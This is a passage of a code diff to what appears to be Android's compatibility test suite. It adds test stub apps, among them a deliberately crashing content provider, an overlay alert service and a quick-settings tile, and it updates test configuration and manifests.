+                .setSmallIcon(R.drawable.black)
+                .build();
+        startForeground(1, status);
+        return START_STICKY;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        // TODO Auto-generated method stub
+        return null;
+    }
+
+}
+
diff --git a/tests/app/ActivityManagerApi29Test/src/android/app/cts/SimpleActivity.java b/tests/app/ActivityManagerApi29Test/src/android/app/cts/SimpleActivity.java
new file mode 100644
index 0000000..aa28b1f
--- /dev/null
+++ b/tests/app/ActivityManagerApi29Test/src/android/app/cts/SimpleActivity.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts.activitymanager.api29;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+/**
+ * A simple activity to install for various users to test LauncherApps.
+ */
+public class SimpleActivity extends Activity {
+    @Override
+    public void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+    }
+
+    @Override
+    public void onStart() {
+        super.onStart();
+    }
+
+    @Override
+    protected void onNewIntent(Intent intent) {
+        super.onNewIntent(intent);
+        if (intent.getExtras().getBoolean("finish")) {
+            finish();
+        }
+    }
+}
diff --git a/tests/app/Android.bp b/tests/app/Android.bp
index 9e25fea..13adccf 100644
--- a/tests/app/Android.bp
+++ b/tests/app/Android.bp
@@ -30,6 +30,7 @@
         "androidx.test.rules",
         "platform-test-annotations",
         "platformprotosnano",
+        "permission-test-util-lib"
     ],
     srcs: ["src/**/*.java"],
     // Tag this module as a cts test artifact
diff --git a/tests/app/AndroidTest.xml b/tests/app/AndroidTest.xml
index 7c9c985..645d233 100644
--- a/tests/app/AndroidTest.xml
+++ b/tests/app/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="force-install-mode" value="FULL"/>
@@ -28,10 +29,16 @@
         <option name="test-file-name" value="CtsAppTestStubsApp3.apk" />
         <option name="test-file-name" value="CtsAppTestStubsApp2.apk" />
         <option name="test-file-name" value="CtsAppTestCases.apk" />
+        <option name="test-file-name" value="CtsBadProviderStubs.apk" />
         <option name="test-file-name" value="CtsCantSaveState1.apk" />
         <option name="test-file-name" value="CtsCantSaveState2.apk" />
         <option name="test-file-name" value="NotificationDelegator.apk" />
         <option name="test-file-name" value="StorageDelegator.apk" />
+        <option name="test-file-name" value="CtsActivityManagerApi29.apk" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <option name="run-command" value="input keyevent KEYCODE_WAKEUP" />
+        <option name="run-command" value="wm dismiss-keyguard" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
diff --git a/tests/app/BadProviderStubs/Android.bp b/tests/app/BadProviderStubs/Android.bp
new file mode 100644
index 0000000..3180ef5
--- /dev/null
+++ b/tests/app/BadProviderStubs/Android.bp
@@ -0,0 +1,34 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsBadProviderStubs",
+    defaults: ["cts_support_defaults"],
+    static_libs: ["android-support-annotations"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/tests/app/BadProviderStubs/AndroidManifest.xml b/tests/app/BadProviderStubs/AndroidManifest.xml
new file mode 100644
index 0000000..55f2228
--- /dev/null
+++ b/tests/app/BadProviderStubs/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.stubbad">
+
+    <application>
+        <provider
+            android:name=".BadProviderStub"
+            android:authorities="com.android.cts.stubbad.badprovider"
+            android:exported="true" />
+    </application>
+
+</manifest>
diff --git a/tests/app/BadProviderStubs/src/com/android/cts/stubbad/BadProviderStub.java b/tests/app/BadProviderStubs/src/com/android/cts/stubbad/BadProviderStub.java
new file mode 100644
index 0000000..0103391
--- /dev/null
+++ b/tests/app/BadProviderStubs/src/com/android/cts/stubbad/BadProviderStub.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.stubbad;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+
+public class BadProviderStub extends ContentProvider {
+    @Override
+    public boolean onCreate() {
+        System.exit(0);
+        return false;
+    }
+
+    @Override
+    public Cursor query(@NonNull Uri uri, @Nullable String[] projection,
+            @Nullable String selection, @Nullable String[] selectionArgs,
+            @Nullable String sortOrder) {
+        return null;
+    }
+
+    @Override
+    public String getType(@NonNull Uri uri) {
+        return null;
+    }
+
+    @Override
+    public Uri insert(@NonNull Uri uri, @Nullable ContentValues values) {
+        return null;
+    }
+
+    @Override
+    public int delete(@NonNull Uri uri, @Nullable String selection,
+            @Nullable String[] selectionArgs) {
+        return 0;
+    }
+
+    @Override
+    public int update(@NonNull Uri uri, @Nullable ContentValues values,
+            @Nullable String selection, @Nullable String[] selectionArgs) {
+        return 0;
+    }
+}
diff --git a/tests/app/NotificationDelegator/AndroidManifest.xml b/tests/app/NotificationDelegator/AndroidManifest.xml
index 54d1f05..fbdf219 100644
--- a/tests/app/NotificationDelegator/AndroidManifest.xml
+++ b/tests/app/NotificationDelegator/AndroidManifest.xml
@@ -30,5 +30,13 @@
                 <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
         </activity>
+
+        <activity android:name="com.android.test.notificationdelegator.NotificationDelegateAndPost">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+
     </application>
 </manifest>
diff --git a/tests/app/NotificationDelegator/src/com/android/test/notificationdelegator/NotificationDelegateAndPost.java b/tests/app/NotificationDelegator/src/com/android/test/notificationdelegator/NotificationDelegateAndPost.java
new file mode 100644
index 0000000..521adc5
--- /dev/null
+++ b/tests/app/NotificationDelegator/src/com/android/test/notificationdelegator/NotificationDelegateAndPost.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.test.notificationdelegator;
+
+import static android.app.NotificationManager.IMPORTANCE_LOW;
+
+import android.app.Activity;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.os.Bundle;
+import android.util.Log;
+
+public class NotificationDelegateAndPost extends Activity {
+    private static final String TAG = "DelegateAndPost";
+    private static final String DELEGATE = "android.app.stubs";
+    private static final String CHANNEL = "channel";
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity);
+
+        NotificationManager nm = getSystemService(NotificationManager.class);
+
+        nm.createNotificationChannel(new NotificationChannel(CHANNEL, CHANNEL, IMPORTANCE_LOW));
+        nm.setNotificationDelegate(DELEGATE);
+        Log.d(TAG, "Set delegate: " + nm.getNotificationDelegate());
+
+        Log.d(TAG, "Posting notification with id 9");
+
+        Notification n = new Notification.Builder(this, CHANNEL)
+                .setSmallIcon(android.R.drawable.sym_def_app_icon)
+                .setContentTitle("posted by delegator")
+                .build();
+
+        nm.notify(9, n);
+
+        finish();
+    }
+}
diff --git a/tests/app/OWNERS b/tests/app/OWNERS
new file mode 100644
index 0000000..7516b62
--- /dev/null
+++ b/tests/app/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 316234
+include platform/frameworks/base:/services/core/java/com/android/server/am/OWNERS
+juliacr@google.com
+beverlyt@google.com
\ No newline at end of file
diff --git a/tests/app/StorageDelegator/src/com/android/test/storagedelegator/StorageDelegator.java b/tests/app/StorageDelegator/src/com/android/test/storagedelegator/StorageDelegator.java
index b305d8d..7f2923c 100644
--- a/tests/app/StorageDelegator/src/com/android/test/storagedelegator/StorageDelegator.java
+++ b/tests/app/StorageDelegator/src/com/android/test/storagedelegator/StorageDelegator.java
@@ -17,8 +17,6 @@
 package com.android.test.storagedelegator;
 
 import android.app.Activity;
-import android.app.IntentService;
-import android.content.Intent;
 import android.os.Bundle;
 import android.os.RemoteCallback;
 import android.util.Log;
diff --git a/tests/app/TEST_MAPPING b/tests/app/TEST_MAPPING
index 60d71d3..ca2dd6c 100644
--- a/tests/app/TEST_MAPPING
+++ b/tests/app/TEST_MAPPING
@@ -11,5 +11,10 @@
         }
       ]
     }
+  ],
+  "postsubmit": [
+    {
+      "name": "CtsAppTestCases"
+    }
   ]
 }
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index 7d34da0..ec976cb 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -45,6 +45,7 @@
     <uses-permission android:name="android.permission.SET_WALLPAPER" />
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
     <uses-permission android:name="android.permission.USE_FULL_SCREEN_INTENT" />
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
 
     <application android:label="Android TestCase"
                 android:icon="@drawable/size_48x48"
@@ -79,7 +80,6 @@
         </activity>
 
         <activity android:name="android.app.stubs.InstrumentationTestActivity"
-                  android:theme="@style/Theme_NoSwipeDismiss"
                   android:label="InstrumentationTestActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -240,7 +240,6 @@
         </activity>
 
         <activity android:name="android.app.stubs.DialogStubActivity"
-                  android:theme="@style/Theme_NoSwipeDismiss"
                   android:label="DialogStubActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -316,18 +315,6 @@
         <activity android:name="android.app.stubs.ActivityManagerMemoryClassTestActivity"
                 android:process=":memoryclass" />
 
-        <activity android:name="android.app.stubs.PipActivity"
-                  android:label="PipActivity"
-                  android:resizeableActivity="true"
-                  android:supportsPictureInPicture="true"
-                  android:configChanges="smallestScreenSize|orientation|screenSize|screenLayout"
-                  android:exported="true">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
-            </intent-filter>
-        </activity>
-
         <activity android:name="android.app.stubs.PipNotSupportedActivity"
                   android:label="PipNotSupportedActivity"
                   android:resizeableActivity="true"
@@ -384,6 +371,18 @@
             </intent-filter>
         </service>
 
+        <service android:name="android.app.stubs.BooleanTestTileService"
+                 android:exported="true"
+                 android:label="BooleanTestTileService"
+                 android:icon="@drawable/robot"
+                 android:permission="android.permission.BIND_QUICK_SETTINGS_TILE">
+            <intent-filter>
+                <action android:name="android.service.quicksettings.action.QS_TILE" />
+            </intent-filter>
+            <meta-data android:name="android.service.quicksettings.BOOLEAN_TILE"
+                       android:value="true"/>
+        </service>
+
         <activity android:name="android.app.stubs.AutomaticZenRuleActivity">
             <intent-filter>
                 <action android:name="android.app.action.AUTOMATIC_ZEN_RULE" />
@@ -397,28 +396,18 @@
         <receiver android:name="android.app.stubs.CommandReceiver"
                   android:exported="true" />
 
-        <activity android:name="android.app.stubs.BubblesTestActivity"
-                  android:allowEmbedded="true"
-                  android:documentLaunchMode="always"
-                  android:resizeableActivity="true"
+        <activity android:name="android.app.stubs.SendBubbleActivity"
                   android:turnScreenOn="true"/>
 
-        <activity android:name="android.app.stubs.BubblesTestNotEmbeddableActivity"
-                  android:resizeableActivity="true"
-                  android:documentLaunchMode="always"
-                  android:exported="true"
-        />
-
-        <activity android:name="android.app.stubs.BubblesTestNotDocumentLaunchModeActivity"
-                  android:resizeableActivity="true"
-                  android:allowEmbedded="true"
-                  android:exported="true"
-        />
+        <activity android:name="android.app.stubs.BubbledActivity"
+                  android:resizeableActivity="true"/>
 
         <service android:name="android.app.stubs.BubblesTestService"
                  android:label="BubblesTestsService"
                  android:exported="true">
         </service>
+
+        <service android:name="android.app.stubs.LocalAlertService" />
     </application>
 
 </manifest>
diff --git a/tests/app/app/res/values/styles.xml b/tests/app/app/res/values/styles.xml
index 4758000..08cebcb 100644
--- a/tests/app/app/res/values/styles.xml
+++ b/tests/app/app/res/values/styles.xml
@@ -165,10 +165,6 @@
         <item name="themeTileMode">2</item>
     </style>
 
-    <style name="Theme_NoSwipeDismiss">
-        <item name="android:windowSwipeToDismiss">false</item>
-    </style>
-
     <style name="DialogTheme_Test" parent="@android:style/Theme.Material.Dialog">
         <item name="themeInteger">20</item>
     </style>
diff --git a/tests/app/app/src/android/app/stubs/BooleanTestTileService.java b/tests/app/app/src/android/app/stubs/BooleanTestTileService.java
new file mode 100644
index 0000000..fe04e00
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/BooleanTestTileService.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs;
+
+import android.content.ComponentName;
+import android.service.quicksettings.Tile;
+
+public class BooleanTestTileService extends TestTileService {
+    public static final String TAG = "BooleanTestTileService";
+    public static final String PKG = "android.app.stubs";
+    public static final int ICON_ID = R.drawable.robot;
+
+    public static String getId() {
+        return String.format("%s/%s", BooleanTestTileService.class.getPackage().getName(),
+                BooleanTestTileService.class.getName());
+    }
+
+    public static ComponentName getComponentName() {
+        return new ComponentName(BooleanTestTileService.class.getPackage().getName(),
+                BooleanTestTileService.class.getName());
+    }
+
+    public void toggleState() {
+        if (isListening()) {
+            Tile tile = sTestTileService.getQsTile();
+            switch(tile.getState()) {
+                case Tile.STATE_ACTIVE:
+                    tile.setState(Tile.STATE_INACTIVE);
+                    break;
+                case Tile.STATE_INACTIVE:
+                    tile.setState(Tile.STATE_ACTIVE);
+                    break;
+                default:
+                    break;
+            }
+            tile.updateTile();
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/app/app/src/android/app/stubs/BubbledActivity.java b/tests/app/app/src/android/app/stubs/BubbledActivity.java
new file mode 100644
index 0000000..9974c88
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/BubbledActivity.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+/**
+ * Used by NotificationManagerTest for testing policy around bubbles, this activity is shown
+ * within the bubble.
+ */
+public class BubbledActivity extends Activity {
+    final String TAG = BubbledActivity.class.getSimpleName();
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.main);
+    }
+}
diff --git a/tests/app/app/src/android/app/stubs/BubblesTestActivity.java b/tests/app/app/src/android/app/stubs/BubblesTestActivity.java
deleted file mode 100644
index 36f51c3..0000000
--- a/tests/app/app/src/android/app/stubs/BubblesTestActivity.java
+++ /dev/null
@@ -1,84 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.app.stubs;
-
-import android.app.Activity;
-import android.app.Notification;
-import android.app.NotificationManager;
-import android.app.PendingIntent;
-import android.content.Context;
-import android.content.Intent;
-import android.graphics.drawable.Icon;
-import android.os.Bundle;
-import android.provider.Telephony;
-import android.util.Log;
-
-/**
- * Used by NotificationManagerTest for testing policy around bubbles.
- */
-public class BubblesTestActivity extends Activity {
-    final String TAG = BubblesTestActivity.class.getSimpleName();
-
-    // Should be same as wht NotificationManagerTest is using
-    private static final String NOTIFICATION_CHANNEL_ID = "NotificationManagerTest";
-
-    public static final String BUBBLE_ACTIVITY_OPENED =
-            "android.app.stubs.BUBBLE_ACTIVITY_OPENED";
-    public static final int BUBBLE_NOTIF_ID = 1;
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.main);
-
-        Intent i = new Intent(BUBBLE_ACTIVITY_OPENED);
-        sendBroadcast(i);
-    }
-
-    /**
-     * Sends a bubble notification that would only be allowed to bubble when the app is
-     * foreground.
-     */
-    public void sendBubble(int i) {
-        Context context = getApplicationContext();
-
-        final Intent intent = new Intent(context, BubblesTestActivity.class);
-        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_SINGLE_TOP
-                | Intent.FLAG_ACTIVITY_CLEAR_TOP);
-        intent.setAction(Intent.ACTION_MAIN);
-        final PendingIntent pendingIntent =
-                PendingIntent.getActivity(context, 0, intent, 0);
-
-        Notification.BubbleMetadata data = new Notification.BubbleMetadata.Builder()
-                .setIcon(Icon.createWithResource(context, R.drawable.black))
-                .setIntent(pendingIntent)
-                .build();
-        Notification n = new Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
-                .setSmallIcon(R.drawable.black)
-                .setWhen(System.currentTimeMillis())
-                .setContentTitle("notify#" + BUBBLE_NOTIF_ID)
-                .setContentText("This is #" + BUBBLE_NOTIF_ID + "notification  ")
-                .setContentIntent(pendingIntent)
-                .setBubbleMetadata(data)
-                .build();
-
-        NotificationManager noMan = (NotificationManager) context.getSystemService(
-                Context.NOTIFICATION_SERVICE);
-        noMan.notify(BUBBLE_NOTIF_ID, n);
-        Log.d(TAG, "posting bubble: " + n + ", " + i);
-    }
-}
diff --git a/tests/app/app/src/android/app/stubs/BubblesTestNotDocumentLaunchModeActivity.java b/tests/app/app/src/android/app/stubs/BubblesTestNotDocumentLaunchModeActivity.java
deleted file mode 100644
index 8601ed2..0000000
--- a/tests/app/app/src/android/app/stubs/BubblesTestNotDocumentLaunchModeActivity.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.app.stubs;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-/**
- * Used by NotificationManagerTest for testing policy around bubbles.
- */
-public class BubblesTestNotDocumentLaunchModeActivity extends Activity {
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.main);
-    }
-}
diff --git a/tests/app/app/src/android/app/stubs/BubblesTestNotEmbeddableActivity.java b/tests/app/app/src/android/app/stubs/BubblesTestNotEmbeddableActivity.java
deleted file mode 100644
index ced310a..0000000
--- a/tests/app/app/src/android/app/stubs/BubblesTestNotEmbeddableActivity.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.app.stubs;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-/**
- * Used by NotificationManagerTest for testing policy around bubbles.
- */
-public class BubblesTestNotEmbeddableActivity extends Activity {
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.main);
-    }
-}
-
diff --git a/tests/app/app/src/android/app/stubs/BubblesTestService.java b/tests/app/app/src/android/app/stubs/BubblesTestService.java
index 6ff579b..dbb9c22 100644
--- a/tests/app/app/src/android/app/stubs/BubblesTestService.java
+++ b/tests/app/app/src/android/app/stubs/BubblesTestService.java
@@ -59,7 +59,7 @@
     }
 
     private Notification getNotificationForTest(final int testCase, final Context context) {
-        final Intent intent = new Intent(context, BubblesTestActivity.class);
+        final Intent intent = new Intent(context, SendBubbleActivity.class);
         final PendingIntent pendingIntent =
                 PendingIntent.getActivity(getApplicationContext(), 0, intent, 0);
         Notification.Builder nb = new Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
diff --git a/tests/app/app/src/android/app/stubs/CommandReceiver.java b/tests/app/app/src/android/app/stubs/CommandReceiver.java
index bc2b4d4..674fd41 100644
--- a/tests/app/app/src/android/app/stubs/CommandReceiver.java
+++ b/tests/app/app/src/android/app/stubs/CommandReceiver.java
@@ -40,6 +40,8 @@
     public static final int COMMAND_STOP_FOREGROUND_SERVICE = 4;
     public static final int COMMAND_START_FOREGROUND_SERVICE_LOCATION = 5;
     public static final int COMMAND_STOP_FOREGROUND_SERVICE_LOCATION = 6;
+    public static final int COMMAND_START_ALERT_SERVICE = 7;
+    public static final int COMMAND_STOP_ALERT_SERVICE = 8;
 
     public static final String EXTRA_COMMAND = "android.app.stubs.extra.COMMAND";
     public static final String EXTRA_TARGET_PACKAGE = "android.app.stubs.extra.TARGET_PACKAGE";
@@ -84,6 +86,12 @@
             case COMMAND_STOP_FOREGROUND_SERVICE_LOCATION:
                 doStopForegroundService(context, LocalForegroundServiceLocation.class);
                 break;
+            case COMMAND_START_ALERT_SERVICE:
+                doStartAlertService(context);
+                break;
+            case COMMAND_STOP_ALERT_SERVICE:
+                doStopAlertService(context);
+                break;
         }
     }
 
@@ -95,13 +103,13 @@
         bindIntent.setComponent(new ComponentName(targetPackage, SERVICE_NAME));
 
         ServiceConnection connection = addServiceConnection(targetPackage);
+
         context.bindService(bindIntent, connection, flags | Context.BIND_AUTO_CREATE);
     }
 
     private void doUnbindService(Context context, Intent commandIntent) {
         String targetPackage = getTargetPackage(commandIntent);
-        ServiceConnection connection = sServiceMap.remove(targetPackage);
-        context.unbindService(connection);
+        context.unbindService(sServiceMap.remove(targetPackage));
     }
 
     private void doStartForegroundService(Context context, Class cls) {
@@ -124,6 +132,18 @@
         context.stopService(fgsIntent);
     }
 
+    private void doStartAlertService(Context context) {
+        Intent intent = new Intent(context, LocalAlertService.class);
+        intent.setAction(LocalAlertService.COMMAND_SHOW_ALERT);
+        context.startService(intent);
+    }
+
+    private void doStopAlertService(Context context) {
+        Intent intent = new Intent(context, LocalAlertService.class);
+        intent.setAction(LocalAlertService.COMMAND_HIDE_ALERT);
+        context.startService(intent);
+    }
+
     private String getTargetPackage(Intent intent) {
         return intent.getStringExtra(EXTRA_TARGET_PACKAGE);
     }
diff --git a/tests/app/app/src/android/app/stubs/LocalAlertService.java b/tests/app/app/src/android/app/stubs/LocalAlertService.java
new file mode 100644
index 0000000..52dbc58
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/LocalAlertService.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package android.app.stubs;
+
+import android.app.Service;
+import android.content.Intent;
+import android.graphics.Color;
+import android.graphics.Point;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.util.Log;
+import android.view.View;
+import android.view.WindowManager;
+import android.widget.TextView;
+
+import static android.view.Gravity.LEFT;
+import static android.view.Gravity.TOP;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
+
+public class LocalAlertService extends Service {
+    public static final String COMMAND_SHOW_ALERT = "show";
+    public static final String COMMAND_HIDE_ALERT = "hide";
+
+    private static View mAlertWindow = null;
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        String action = intent.getAction();
+
+        if (COMMAND_SHOW_ALERT.equals(action)) {
+            mAlertWindow = showAlertWindow(getPackageName());
+        } else if (COMMAND_HIDE_ALERT.equals(action)) {
+            hideAlertWindow(mAlertWindow);
+            mAlertWindow = null;
+        }
+        return START_NOT_STICKY;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    private View showAlertWindow(String windowName) {
+        final Point size = new Point();
+        final WindowManager wm = getSystemService(WindowManager.class);
+        wm.getDefaultDisplay().getSize(size);
+
+        WindowManager.LayoutParams params = new WindowManager.LayoutParams(
+                TYPE_APPLICATION_OVERLAY, FLAG_NOT_FOCUSABLE | FLAG_WATCH_OUTSIDE_TOUCH |
+                FLAG_NOT_TOUCHABLE);
+        params.width = size.x / 3;
+        params.height = size.y / 3;
+        params.gravity = TOP | LEFT;
+        params.setTitle(windowName);
+
+        final TextView view = new TextView(this);
+        view.setText(windowName);
+        view.setBackgroundColor(Color.RED);
+        wm.addView(view, params);
+        return view;
+    }
+
+    private void hideAlertWindow(View window) {
+        final WindowManager wm = getSystemService(WindowManager.class);
+        wm.removeViewImmediate(window);
+    }
+}
diff --git a/tests/app/app/src/android/app/stubs/PipActivity.java b/tests/app/app/src/android/app/stubs/PipActivity.java
deleted file mode 100644
index 6f53e9f..0000000
--- a/tests/app/app/src/android/app/stubs/PipActivity.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
